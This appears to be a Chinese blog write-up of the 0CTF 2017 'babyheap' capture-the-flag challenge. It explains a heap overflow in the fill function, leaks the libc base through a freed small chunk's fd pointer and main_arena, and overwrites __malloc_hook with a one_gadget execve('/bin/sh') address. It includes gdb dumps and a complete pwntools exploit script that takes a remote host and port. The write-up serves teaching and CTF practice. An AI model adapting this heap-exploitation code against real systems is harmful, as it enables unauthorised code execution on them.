babyheap 2017漏洞分析


这是0ctf 2017的一道pwn题。

主要是两点,第一点是怎么泄露libc的基地址,第二点是怎么执行shell


漏洞点:在fill函数中,IDA逆向分析如下:
unsigned __int64 __fastcall fill(pr_heap *a1)
{
  unsigned __int64 result; // rax@1
  int index; // [sp+18h] [bp-8h]@1
  int size; // [sp+1Ch] [bp-4h]@4

  printf("Index: ");
  result = read_to_int();
  index = result;
  if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 )
  {
    result = LODWORD(a1[(signed int)result].alloc_or_not);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = read_to_int();
      size = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
        result = read_data((__int64)a1[index].heap, size);
      }
    }
  }
  return result;
}



漏洞是在往堆中fill数据时,数据大小是用户可以控制的 ,这样就可以覆盖堆后边的数据了。

void __fastcall allocate(pr_heap *base)
{
  signed int index; // [sp+10h] [bp-10h]@1
  signed int size; // [sp+14h] [bp-Ch]@3
  void *heap_start_address; // [sp+18h] [bp-8h]@6

  for ( index = 0; index <= 15; ++index )
  {
    if ( !LODWORD(base[index].alloc_or_not) )
    {
      printf("Size: ");
      size = read_to_int();
      if ( size > 0 )
      {
        if ( size > 4096 )
          size = 4096;
        heap_start_address = calloc(size, 1uLL);
        if ( !heap_start_address )
          exit(-1);
        LODWORD(base[index].alloc_or_not) = 1;
        *(_QWORD *)&base[index].size = size;
        base[index].heap = heap_start_address;
        printf("Allocate Index %d\n", (unsigned int)index);
      }
      return;
    }
  }
}
在创建堆时有一个结构体,这个结构体大概是这样的:
struct pr_heap
{
double alloc_or_not;
double size;
void *heap;
};
第一个0或者1,表示是否分配
第二个是分配的大小
第三个是指针指向堆的地址。

因为开启了PIE,所以需要泄露libc的基地址才能利用成功。

首先看获取libc基地址的方法:
首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了

所以重点是当small chunk释放时,能读出fd 或者 bk的值

贴一下该处的利用代码:
 r.recvuntil(': ')

    alloc(0x20)
    alloc(0x20)
    alloc(0x20)
    alloc(0x20)
    #pause()
    alloc(0x80)
 
    free(1)
    free(2)
  
    #pause()

    payload  = p64(0)*5
    payload += p64(0x31)
    payload += p64(0)*5
    payload += p64(0x31)
    payload += p8(0xc0)
    fill(0, payload)

    payload  = p64(0)*5
    payload += p64(0x31)
    fill(3, payload)

    alloc(0x20)
    alloc(0x20)

    payload  = p64(0)*5
    payload += p64(0x91)
    fill(3, payload)
    alloc(0x80)
    free(4)

    libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20   #0x3a5678
    log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58))
    log.info("libc_base: " + hex(libc_base))
首先申请5个堆块,前四个是0x20大小,后一个是0x80大小,分配后结构体所在内存布局如下:
gdb-peda$ x/20gx 0x2535a18ce740
0x2535a18ce740:	0x0000000000000001	0x0000000000000020
0x2535a18ce750:	0x00005560dae45010	0x0000000000000001
0x2535a18ce760:	0x0000000000000020	0x00005560dae45040
0x2535a18ce770:	0x0000000000000001	0x0000000000000020
0x2535a18ce780:	0x00005560dae45070	0x0000000000000001
0x2535a18ce790:	0x0000000000000020	0x00005560dae450a0
0x2535a18ce7a0:	0x0000000000000001	0x0000000000000080
0x2535a18ce7b0:	0x00005560dae450d0	0x0000000000000000
堆内存布局:
gdb-peda$ x/30gx 0x00005560dae45000
0x5560dae45000:	0x0000000000000000	0x0000000000000031
0x5560dae45010:	0x0000000000000000	0x0000000000000000
0x5560dae45020:	0x0000000000000000	0x0000000000000000
0x5560dae45030:	0x0000000000000000	0x0000000000000031
0x5560dae45040:	0x0000000000000000	0x0000000000000000
0x5560dae45050:	0x0000000000000000	0x0000000000000000
0x5560dae45060:	0x0000000000000000	0x0000000000000031
0x5560dae45070:	0x0000000000000000	0x0000000000000000
0x5560dae45080:	0x0000000000000000	0x0000000000000000
0x5560dae45090:	0x0000000000000000	0x0000000000000031
0x5560dae450a0:	0x0000000000000000	0x0000000000000000
0x5560dae450b0:	0x0000000000000000	0x0000000000000000
0x5560dae450c0:	0x0000000000000000	0x0000000000000091
0x5560dae450d0:	0x0000000000000000	0x0000000000000000
0x5560dae450e0:	0x0000000000000000	0x0000000000000000
然后释放index为1,2的块:
gdb-peda$ x/20gx 0x2535a18ce740
0x2535a18ce740:	0x0000000000000001	0x0000000000000020
0x2535a18ce750:	0x00005560dae45010	0x0000000000000000
0x2535a18ce760:	0x0000000000000000	0x0000000000000000
0x2535a18ce770:	0x0000000000000000	0x0000000000000000
0x2535a18ce780:	0x0000000000000000	0x0000000000000001
0x2535a18ce790:	0x0000000000000020	0x00005560dae450a0
0x2535a18ce7a0:	0x0000000000000001	0x0000000000000080
0x2535a18ce7b0:	0x00005560dae450d0	0x0000000000000000
0x2535a18ce7c0:	0x0000000000000000	0x0000000000000000
0x2535a18ce7d0:	0x0000000000000000	0x0000000000000000
然后向index=0的内存填充数据,由于堆溢出的漏洞,可以覆盖后边的内存。
填充前:
gdb-peda$ x/30gx 0x00005560dae45000
0x5560dae45000:	0x0000000000000000	0x0000000000000031
0x5560dae45010:	0x0000000000000000	0x0000000000000000
0x5560dae45020:	0x0000000000000000	0x0000000000000000
0x5560dae45030:	0x0000000000000000	0x0000000000000031
0x5560dae45040:	0x0000000000000000	0x0000000000000000
0x5560dae45050:	0x0000000000000000	0x0000000000000000
0x5560dae45060:	0x0000000000000000	0x0000000000000031
0x5560dae45070:	0x00005560dae45030	0x0000000000000000
0x5560dae45080:	0x0000000000000000	0x0000000000000000
0x5560dae45090:	0x0000000000000000	0x0000000000000031
0x5560dae450a0:	0x0000000000000000	0x0000000000000000
0x5560dae450b0:	0x0000000000000000	0x0000000000000000
0x5560dae450c0:	0x0000000000000000	0x0000000000000091
0x5560dae450d0:	0x0000000000000000	0x0000000000000000
0x5560dae450e0:	0x0000000000000000	0x0000000000000000
填充后:
gdb-peda$ x/30gx 0x00005560dae45000
0x5560dae45000:	0x0000000000000000	0x0000000000000031
0x5560dae45010:	0x0000000000000000	0x0000000000000000
0x5560dae45020:	0x0000000000000000	0x0000000000000000
0x5560dae45030:	0x0000000000000000	0x0000000000000031
0x5560dae45040:	0x0000000000000000	0x0000000000000000
0x5560dae45050:	0x0000000000000000	0x0000000000000000
0x5560dae45060:	0x0000000000000000	0x0000000000000031
0x5560dae45070:	0x00005560dae450c0	0x0000000000000000
0x5560dae45080:	0x0000000000000000	0x0000000000000000
0x5560dae45090:	0x0000000000000000	0x0000000000000031
0x5560dae450a0:	0x0000000000000000	0x0000000000000000
0x5560dae450b0:	0x0000000000000000	0x0000000000000000
0x5560dae450c0:	0x0000000000000000	0x0000000000000091
0x5560dae450d0:	0x0000000000000000	0x0000000000000000
0x5560dae450e0:	0x0000000000000000	0x0000000000000000
可以发现变化, 填充将0x5560dae45070的末尾字节由0x30改成了0xc0,此处正好是fastbin的fd 指向第二次分配fast chunk时的地址 也就是说第一次分配从0x5560dae45060开始,第二次分配从0x5560dae450c0开始了。
   payload  = p64(0)*5
    payload += p64(0x31)
    fill(3, payload)
本来index=4的堆大小为0x90 此处填充覆盖index=4的堆首表示堆大小的值为0x31 ,也就是将堆从small chunk变成了fast chunk。为什么这样做呢 是为了后边分配0x30堆时的校验通过。
alloc(0x20)
alloc(0x20)
此时在分配两个大小为0x20的堆,第一个分配到0x5560dae45060处,第二次分配到0x5560dae450c0处

gdb-peda$ x/20gx 0x2535a18ce740
0x2535a18ce740:	0x0000000000000001	0x0000000000000020
0x2535a18ce750:	0x00005560dae45010	0x0000000000000001
0x2535a18ce760:	0x0000000000000020	0x00005560dae45070
0x2535a18ce770:	0x0000000000000001	0x0000000000000020
0x2535a18ce780:	0x00005560dae450d0	0x0000000000000001
0x2535a18ce790:	0x0000000000000020	0x00005560dae450a0
0x2535a18ce7a0:	0x0000000000000001	0x0000000000000080
0x2535a18ce7b0:	0x00005560dae450d0	0x0000000000000000
0x2535a18ce7c0:	0x0000000000000000	0x0000000000000000
0x2535a18ce7d0:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/30gx 0x00005560dae45000
0x5560dae45000:	0x0000000000000000	0x0000000000000031
0x5560dae45010:	0x0000000000000000	0x0000000000000000
0x5560dae45020:	0x0000000000000000	0x0000000000000000
0x5560dae45030:	0x0000000000000000	0x0000000000000031
0x5560dae45040:	0x0000000000000000	0x0000000000000000
0x5560dae45050:	0x0000000000000000	0x0000000000000000
0x5560dae45060:	0x0000000000000000	0x0000000000000031
0x5560dae45070:	0x0000000000000000	0x0000000000000000
0x5560dae45080:	0x0000000000000000	0x0000000000000000
0x5560dae45090:	0x0000000000000000	0x0000000000000031
0x5560dae450a0:	0x0000000000000000	0x0000000000000000
0x5560dae450b0:	0x0000000000000000	0x0000000000000000
0x5560dae450c0:	0x0000000000000000	0x0000000000000031
0x5560dae450d0:	0x0000000000000000	0x0000000000000000
0x5560dae450e0:	0x0000000000000000	0x0000000000000000



    payload  = p64(0)*5
    payload += p64(0x91)
    fill(3, payload)


此处重新将index=4的堆大小修改为0x90,即small chunk。

alloc(0x80)
分配大小为0x90的块,index=5:
gdb-peda$ x/20gx 0x2535a18ce740
0x2535a18ce740:	0x0000000000000001	0x0000000000000020
0x2535a18ce750:	0x00005560dae45010	0x0000000000000001
0x2535a18ce760:	0x0000000000000020	0x00005560dae45070
0x2535a18ce770:	0x0000000000000001	0x0000000000000020
0x2535a18ce780:	0x00005560dae450d0	0x0000000000000001
0x2535a18ce790:	0x0000000000000020	0x00005560dae450a0
0x2535a18ce7a0:	0x0000000000000001	0x0000000000000080
0x2535a18ce7b0:	0x00005560dae450d0	0x0000000000000001
0x2535a18ce7c0:	0x0000000000000080	0x00005560dae45160
0x2535a18ce7d0:	0x0000000000000000	0x0000000000000000
经过以上操作, 可以看到index=2和index=4处的堆地址是一样的了

free(4)
此时将index=4的堆释放,根据文章刚开头的介绍,此时index=4的堆(small bin)的fd bk都保存一个指针,这个指针地址在main_arena的0x58偏移处,指向top chunk的地址。
gdb-peda$ x/20gx 0x2535a18ce740
0x2535a18ce740:	0x0000000000000001	0x0000000000000020
0x2535a18ce750:	0x00005560dae45010	0x0000000000000001
0x2535a18ce760:	0x0000000000000020	0x00005560dae45070
0x2535a18ce770:	0x0000000000000001	0x0000000000000020
0x2535a18ce780:	0x00005560dae450d0	0x0000000000000001
0x2535a18ce790:	0x0000000000000020	0x00005560dae450a0
0x2535a18ce7a0:	0x0000000000000000	0x0000000000000000
0x2535a18ce7b0:	0x0000000000000000	0x0000000000000001
0x2535a18ce7c0:	0x0000000000000080	0x00005560dae45160
0x2535a18ce7d0:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/30gx 0x00005560dae45000
0x5560dae45000:	0x0000000000000000	0x0000000000000031
0x5560dae45010:	0x0000000000000000	0x0000000000000000
0x5560dae45020:	0x0000000000000000	0x0000000000000000
0x5560dae45030:	0x0000000000000000	0x0000000000000031
0x5560dae45040:	0x0000000000000000	0x0000000000000000
0x5560dae45050:	0x0000000000000000	0x0000000000000000
0x5560dae45060:	0x0000000000000000	0x0000000000000031
0x5560dae45070:	0x0000000000000000	0x0000000000000000
0x5560dae45080:	0x0000000000000000	0x0000000000000000
0x5560dae45090:	0x0000000000000000	0x0000000000000031
0x5560dae450a0:	0x0000000000000000	0x0000000000000000
0x5560dae450b0:	0x0000000000000000	0x0000000000000000
0x5560dae450c0:	0x0000000000000000	0x0000000000000091
0x5560dae450d0:	0x00007ff583cffb78    0x00007ff583cffb78
0x5560dae450e0:	0x0000000000000000	0x0000000000000000

gdb-peda$ p main_arena
$1 = struct malloc_state {
mutex            = 0x0
flags            = 0x0
fastbinsY        = {...}
top              = 0x5560dae451e0
last_remainder   = 0x0
bins             = {...}
binmap           = {...}
next             = 0x7ff583cffb20
next_free        = 0x0
attached_threads = 0x1
system_mem       = 0x21000
max_system_mem   = 0x21000
gdb-peda$ vmmap 
Start              End                Perm	Name
。。。。。。。。
0x00007ff58393b000 0x00007ff583afb000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
。。。。。。。。
0x00007ff583f2c000 0x00007ff583f2d000 rw-p	mapped
0x00007fff21261000 0x00007fff21282000 rw-p	[stack]
0x00007fff2139c000 0x00007fff2139e000 r--p	[vvar]
0x00007fff2139e000 0x00007fff213a0000 r-xp	[vdso]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]
main_arena在libc data段 偏移为0x7ff583cffb20-0x00007ff58393b000=0x3c4b20

libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20
因为index=2和index=4的堆地址是一样的,所以通过index=2的堆dump函数就可以读取出fd的数据了 。

经过以上分析调试,就可以读取出libc的基地址了。


下边是介绍怎么获取shell。
gdb-peda$ x/30gx 0x7ff583cffb20-0x30
0x7ff583cffaf0 <_IO_wide_data_0+304>:	0x00007ff583cfe260	0x0000000000000000
0x7ff583cffb00 <__memalign_hook>:	0x00007ff5839c0e20	0x00007ff5839c0a00
0x7ff583cffb10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7ff583cffb20 <main_arena>:	0x0000000000000000	0x0000000000000000
0x7ff583cffb30 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ff583cffb40 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ff583cffb50 <main_arena+48>:	0x0000000000000000	0x0000000000000000
在mian_arena上边有个malloc_hook,当此处的值不为0的时候,程序就会跳到该处保存地址的地方指向代码。

所以思路是,在main_arena上方地址创建堆,填充数据,比如填充指向shellcode的地址,然后就可以跳转到shellcode执行了。

还有个比较麻烦的地方就是控制堆的大小,因为此处用到fast chunk,所以此处堆的大小为0x20-0x80,我们可以看到0x7ff583cffafc处,正好是0x00007f,符合我们的要求,所以可以在0x7ff583cffaed(此处指向堆首)处创建一个堆,然后填充数据,将malloc_hook填充为shellcode。

gdb-peda$ x/20gx 0x7ff583cffaec
0x7ff583cffaec <_IO_wide_data_0+300>:	0x83cfe26000000000	0x0000000000007ff5
0x7ff583cffafc:	0x839c0e2000000000	0x839c0a0000007ff5
0x7ff583cffb0c <__realloc_hook+4>:	0x0000000000007ff5	0x0000000000000000
0x7ff583cffb1c:	0x0000000000000000	0x0000000000000000
0x7ff583cffb2c <main_arena+12>:	0x0000000000000000	0x0000000000000000
0x7ff583cffb3c <main_arena+28>:	0x0000000000000000	0x0000000000000000
0x7ff583cffb4c <main_arena+44>:	0x0000000000000000	0x0000000000000000
0x7ff583cffb5c <main_arena+60>:	0x0000000000000000	0x0000000000000000
0x7ff583cffb6c <main_arena+76>:	0x0000000000000000	0xdae451e000000000
0x7ff583cffb7c <main_arena+92>:	0xdae4513000005560	0xdae4513000005560
先把此处的代码贴出来:
alloc(0x68)
    free(4)
    pause()
    fill(2, p64(libc_base + 0x3c4aed))
    alloc(0x60)
    alloc(0x60)
    #pause()
    payload  = '\x00'*3
    payload += p64(0)*2
    payload += p64(libc_base + 0x4526a)
    fill(6, payload)
    #pause()
    alloc(255)
    r.interactive()


alloc(0x68)
    free(4)
此处将刚才创建的small chunk修改fast chunk(其实是释放后的 )
fill(2, p64(libc_base + 0x3c4aed)) 将index=2的堆填充为malloc_hook前要创建的堆的堆首地址,也就是将index=4的fd修改为相同。
alloc(0x60)
alloc(0x60)
先从index=2或者index=4处创建大小为0x70的堆,此时因为fd指向libc_base + 0x3c4aed,所以下次创建大小是0x70的堆时,就在libc_base + 0x3c4aed创建 inedx=6

 payload  = '\x00'*3
 payload += p64(0)*2
 payload += p64(libc_base + 0x4526a)
 fill(6, payload)
此时 填充index=6的堆,也就是在malloc_hook前创建的堆,然后将malloc_hook填充为shellcode的地址 。
alloc(255)
再次创建堆块时,shellcode得到执行,获取了shell。

最终结果:


shellcode获取:
在libc中包含execve('/bin/sh'),可以直接调用 。
可以通过one_gadget工具直接搜索相关代码 https://github.com/david942j/one_gadget
root@yang-virtual-machine:~/ctf# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xcd0f3	execve("/bin/sh", rcx, r12)
constraints:
  [rcx] == NULL || rcx == NULL
  [r12] == NULL || r12 == NULL

0xcd1c8	execve("/bin/sh", rax, r12)
constraints:
  [rax] == NULL || rax == NULL
  [r12] == NULL || r12 == NULL

0xf0274	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1117	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0xf66c0	execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
root@yang-virtual-machine:~/ctf# 


比如此处的0x4526a的代码可以直接调用。


完整exp:
from pwn import *
import sys

def alloc(size):
    r.sendline('1')
    r.sendlineafter(': ', str(size))
    r.recvuntil(': ', timeout=1)

def fill(idx, data):
    r.sendline('2')
    r.sendlineafter(': ', str(idx))
    r.sendlineafter(': ', str(len(data)))
    r.sendafter(': ', data)
    r.recvuntil(': ')

def free(idx):
    r.sendline('3')
    r.sendlineafter(': ', str(idx))
    r.recvuntil(': ')

def dump(idx):
    r.sendline('4')
    r.sendlineafter(': ', str(idx))
    r.recvuntil(': \n')
    data = r.recvline()
    r.recvuntil(': ')
    return data

def exploit(r):
    r.recvuntil(': ')

    alloc(0x20)
    alloc(0x20)
    alloc(0x20)
    alloc(0x20)
    #pause()
    alloc(0x80)
    pause()
    free(1)
    free(2)
  
    #pause()

    payload  = p64(0)*5
    payload += p64(0x31)
    payload += p64(0)*5
    payload += p64(0x31)
    payload += p8(0xc0)
    fill(0, payload)

    payload  = p64(0)*5
    payload += p64(0x31)
    fill(3, payload)

    alloc(0x20)
    alloc(0x20)

    payload  = p64(0)*5
    payload += p64(0x91)
    fill(3, payload)
    alloc(0x80)
    free(4)

    libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20   #0x3a5678
    log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58))
    log.info("libc_base: " + hex(libc_base))
    alloc(0x68)
    free(4)
    pause()
    fill(2, p64(libc_base + 0x3c4aed))
    alloc(0x60)
    alloc(0x60)
    #pause()
    payload  = '\x00'*3
    payload += p64(0)*2
    payload += p64(libc_base + 0x4526a)
    fill(6, payload)
    #pause()
    alloc(255)

    r.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        exploit(r)
    else:
        #r = process(['./babyheap'], env={"LD_PRELOAD":"./libc.so.6"})
        r = process('./babyheap')
        print util.proc.pidof(r)
        #pause()
        exploit(r)
几点疑问:
1. 在 alloc(0x68)时,为什么堆首大小是0x71呢
2. 在alloc(0x60处),为什么堆首大小还是0x7f呢 就是最后在malloc_hook上申请的那个堆




参考链接:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值